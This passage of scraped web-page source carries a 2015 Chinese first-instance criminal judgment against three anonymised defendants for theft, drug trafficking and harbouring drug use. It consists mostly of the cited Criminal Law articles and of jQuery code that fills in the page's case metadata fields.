年11月25日向本院提起公诉。本院审查后，依法组成合议庭，公开开庭审理了本案。江苏省苏州工业园区人民检察院指派检察员徐佳出庭支持公诉，被告人吴某、高某、赵某到庭参加诉讼。本案现已审理终结\",\"案件基本情况段原文\":\"\",\"裁判要旨段原文\":\"\",\"判决结果段原文\":\"\",\"附加原文\":\"附：相关的法律条文\\\u0026#xA;《中华人民共和国刑法》\\\u0026#xA;第二百六十四条盗窃公私财物，数额较大的，或者多次盗窃、入户盗窃、携带凶器盗窃、扒窃的，处三年以下有期徒刑、拘役或者管制，并处或者单处罚金；数额巨大或者有其他严重情节的，处三年以上十年以下有期徒刑，并处罚金；数额特别巨大或者有其他特别严重情节的，处十年以上有期徒刑或者无期徒刑，并处罚金或者没收财产。\\\u0026#xA;第三百四十七条走私、贩卖、运输、制造毒品，无论数量多少，都应当追究刑事责任，予以刑事处罚。\\\u0026#xA;走私、贩卖、运输、制造毒品，有下列情形之一的，处十五年有期徒刑、无期徒刑或者死刑，并处没收财产：\\\u0026#xA;（一）走私、贩卖、运输、制造鸦片一千克以上、海洛因或者甲基苯丙胺五十克以上或者其他毒品数量大的；\\\u0026#xA;（二）走私、贩卖、运输、制造毒品集团的首要分子；\\\u0026#xA;（三）武装掩护走私、贩卖、运输、制造毒品的；\\\u0026#xA;（四）以暴力抗拒检查、拘留、逮捕，情节严重的；\\\u0026#xA;（五）参与有组织的国际贩毒活动的。\\\u0026#xA;走私、贩卖、运输、制造鸦片二百克以上不满一千克、海洛因或者甲基苯丙胺十克以上不满五十克或者其他毒品数量较大的，处七年以上有期徒刑，并处罚金。\\\u0026#xA;走私、贩卖、运输、制造鸦片不满二百克、海洛因或者甲基苯丙胺不满十克或者其他少量毒品的，处三年以下有期徒刑、拘役或者管制，并处罚金；情节严重的，处三年以上七年以下有期徒刑，并处罚金。\\\u0026#xA;单位犯第二款、第三款、第四款罪的，对单位判处罚金，并对其直接负责的主管人员和其他直接责任人员，依照各该款的规定处罚。\\\u0026#xA;利用、教唆未成年人走私、贩卖、运输、制造毒品，或者向未成年人出售毒品的，从重处罚。\\\u0026#xA;对多次走私、贩卖、运输、制造毒品，未经处理的，毒品数量累计计算。\\\u0026#xA;第三百五十四条容留他人吸食、注射毒品的，处三年以下有期徒刑、拘役或者管制，并处罚金。\\\u0026#xA;第三百五十七条本法所称的毒品，是指鸦片、海洛因、甲基苯丙胺（冰毒）、吗啡、大麻、可卡因以及国家规定管制的其他能够使人形成瘾癖的麻醉药品和精神药品。\\\u0026#xA;毒品的数量以查证属实的走私、贩卖、运输、制造、非法持有毒品的数量计算，不以纯度折算。\\\u0026#xA;第六十七条犯罪以后自动投案，如实供述自己的罪行的，是自首。对于自首的犯罪分子，可以从轻或者减轻处罚。其中，犯罪较轻的，可以免除处罚。\\\u0026#xA;被采取强制措施的犯罪嫌疑人、被告人和正在服刑的罪犯，如实供述司法机关还未掌握的本人其他罪行的，以自首论。\\\u0026#xA;犯罪嫌疑人虽不具有前两款规定的自首情节，但是如实供述自己罪行的，可以从轻处罚；因其如实供述自己罪行，避免特别严重后果发生的，可以减轻处罚。\\\u0026#xA;第六十九条判决宣告以前一人犯数罪的，除判处死刑和无期徒刑的以外，应当在总和刑期以下、数刑中最高刑期以上，酌情决定执行的刑期，但是管制最高不能超过三年，拘役最高不能超过一年，有期徒刑总和刑期不满三十五年的，最高不能超过二十年，总和刑期在三十五年以上的，最高不能超过二十五年。\\\u0026#xA;数罪中有判处附加刑的，附加刑仍须执行，其中附加刑种类相同的，合并执行，种类不同的，分别执行。\\\u0026#xA;第六十四条犯罪分子违法所得的一切财物，应当予以追缴或者责令退赔；对被害人的合法财产，应当及时返还；违禁品和供犯罪所用的本人财物，应当予以没收。没收的财物和罚金，一律上缴国库，不得挪用和自行处理\",\"文本尾部原文\":\"\"});$(document).attr(\"title\",\"吴某犯盗窃罪、走私、贩卖、运输、制造毒品罪高某犯盗窃罪、容留他人吸毒罪赵某犯盗窃罪一审刑事判决书\");$(\"#tdSource\").html(\"吴某犯盗窃罪、走私、贩卖、运输、制造毒品罪高某犯盗窃罪、容留他人吸毒罪赵某犯盗窃罪一审刑事判决书
（2015）园刑二初字第0327号\");$(\"#hidDocID\").val(\"e80ad5a3-b9a9-4030-9383-5de3cf1297dd\");$(\"#hidCaseName\").val(\"吴某犯盗窃罪、走私、贩卖、运输、制造毒品罪高某犯盗窃罪、容留他人吸毒罪赵某犯盗窃罪一审刑事判决书\");$(\"#hidCaseNumber\").val(\"（2015）园刑二初字第0327号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"苏州工业园区人民法院\");$(\"#hidCaseType\").val(\"1\");$(\"#HidCourtID\").val(\"1052\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"苏州工业园区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"刑事案件\" },{ name: \"案由\", key: \"reason\", value: \"\"
},{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name: \"裁判日期\",
key: \"trialDate\", value: \"2015-12-09\" },{ name: \"公诉机关\", key:
\"oriLigigation\", value: \"江苏省苏州工业园区人民检察院\" },{ name: \"当事人\", key:
\"appellor\", value: \"吴某,高某,赵某\" }],LegalBase:
[{法规名称:\'《中华人民共和国刑法》\',Items:[{法条名称:\'第二百六十四条\',法条内容:\' 第二百六十四条
盗窃公私财物，数额较大的，或者多次盗窃、入户盗窃、携带凶器盗窃、扒窃的，处三年以下有期徒刑、拘役或者管制，并处或者单处罚金；数额巨大或者有其他严重情节的，处三年以上十年以下有期徒刑，并处罚金；数额特别巨大或者有其他特别严重情节的，处十年以上有期徒刑或者无期徒刑，并处罚金或者没收财产。
\'},{法条名称:\'第二百六十四条\',法条内容:\'
第二百六十四条
盗窃公私财物，数额较大或者多次盗窃的，处三年以下有期徒刑、拘役或者管制，并处或者单处罚金；数额巨大或者有其他严重情节的，处三年以上十年以下有期徒刑，并处罚金；数额特别巨大或者有其他特别严重情节的，处十年以上有期徒刑或者无期徒刑，并处罚金或者没收财产；有下列情形之一的，处无期徒刑或者死刑，并处没收财产：
（一）盗窃金融机构，数额特别巨大的；
（二）盗窃珍贵文物，情节严重的。
\'},{法条名称:\'第三百四十七条第一款\',法条内容:\'
第三百四十七条 走私、贩卖、运输、制造毒品，无论数量多少，都应当追究刑事责任，予以刑事处罚。
走私、贩卖、运输、制造毒品，有下列情形之一的，处十五年有期徒刑、无期徒刑或者死刑，并处没收财产：
（一）走私、贩卖、运输、制造鸦片一千克以上、海洛因或者甲基苯丙胺五十克以上或者其他毒品数量大的；
（二）走私、贩卖、运输、制造毒品集团的首要分子；
（三）武装掩护走私、贩卖、运输、制造毒品的；
（四）以暴力抗拒检查、拘留、逮捕，情节严重的；
（五）参与有组织的国际贩毒活动的。
走私、贩卖、运输、制造鸦片二百克以上不满一千克、海洛因或者甲基苯丙胺十克以上不满五十克或者其他毒品数量较大的，处七年以上有期徒刑，并处罚金。
走私、贩卖、运输、制造鸦片不满二百克、海洛因或者甲基苯丙胺不满十克或者其他少量毒品的，处三年以下有期徒刑、拘役或者管制，并处罚金；情节严重的，处三年以上七年以下有期徒刑，并处罚金。
单位犯第二款、第三款、第四款罪的，对单位判处罚金，并对其直接负责的主管人员和其他直接责任人员，依照各该款的规定处罚。
利用、教唆未成年人走私、贩卖、运输、制造毒品，或者向未成年人出售毒品的，从重处罚。
对多次走私、贩卖、运输、制造毒品，未经处理的，毒品数量累计计算。
\'},{法条名称:\'第三百五十七条第一款\',法条内容:\' 第三百五十七条
本法所称的毒品，是指鸦片、海洛因、甲基苯丙胺（冰毒）、吗啡、大麻、可卡因以及国家规定管制的其他能够使人形成瘾癖的麻醉药品和精神药品。
毒品的数量以查证属实的走私、贩卖、运输、制造、非法持有毒品的数量计算，不以纯度折算。
\'},{法条名称:\'第六十七条第一款\',法条内容:\'
第六十七条 犯罪以后自动投案，如实供述自己的罪行的，是自首。对于自首的犯罪分子，可以从轻或者减轻处罚。其中，犯罪较轻的，可以免除处罚。
被采取强制措施的犯罪嫌疑人、被告人和正在服刑的罪犯，如实供述司法机关还未掌握的本人其他罪行的，以自首论。
犯罪嫌疑人虽不具有前两款规定的自首情节，但是如实供述自己罪行的，可以从轻处罚；因其如实供述自己罪行，避免特别严重后果发生的，可以减轻处罚。
\'},{法条名称:\'第六十七条第一款\',法条内容:\'
第六十七条 犯罪以后自动投案，如实供述自己的罪行的，是自首。对于自首的犯罪分子，可以从轻或者减轻处罚。其中，犯罪较轻的，可以免除处罚。
被采取强制措施的犯罪嫌疑人、被告人和正在服刑的罪犯，如实供述司法机关还未掌握的本人其他罪行的，以自首论。
\'},{法条名称:\'第六十九条第一款\',法条内容:\'
第六十九条
判决宣告以前一人犯数罪的，除判处死刑和无期徒刑的以外，应当在总和刑期以下、数刑中最高刑期以上，酌情决定执行的刑期，但是管制最高不能超过三年，拘役最高不能超过一年，有期徒刑总和刑期不满三十五年的，最高不能超过二十年，总和刑期在三十五年以上的，最高不能超过二十五年。
数罪中有判处附加刑的，附加刑仍须执行，其中附加刑种类相同的，合并执行，种类不同的，分别执行。
\'},{法条名称:\'第六十九条第一款\',法条内容:\'
第六十九条
判决宣告以前一人犯数罪的，除判处死刑和无期徒刑的以外，应当在总和刑期以下、数刑中最高刑期以上，酌情决定执行的刑期，但是管制最高不能超过三年，拘役最高不能超过一年，有期徒刑最高不能超过二十年。
如果数罪中有判处附加刑的，附加刑仍须执行。
\'},{法条名称:\'第六十四条\',法条内容:\' 第六十四条
犯罪分子违法所得的一切财物，应当予以追缴或者责令退赔；对被害人的合法财产，应当及时返还；违禁品和供犯罪所用的本人财物，应当予以没收。没收的财物和罚金，一律上缴国库，不得挪用和自行处理。
\'},{法条名称:\'第三百五十四条\',法条内容:\'
第三百五十四条 容留他人吸食、注射毒品的，处三年以下有期徒刑、拘役或者管制，并处罚金。
\'}]}]};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"吴某犯盗窃罪、走私、贩卖、运输、制造毒品罪高某犯盗窃罪、容留他人吸毒罪赵某犯盗窃罪一审刑事判决书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2016-04-01\\\\\",\\\\\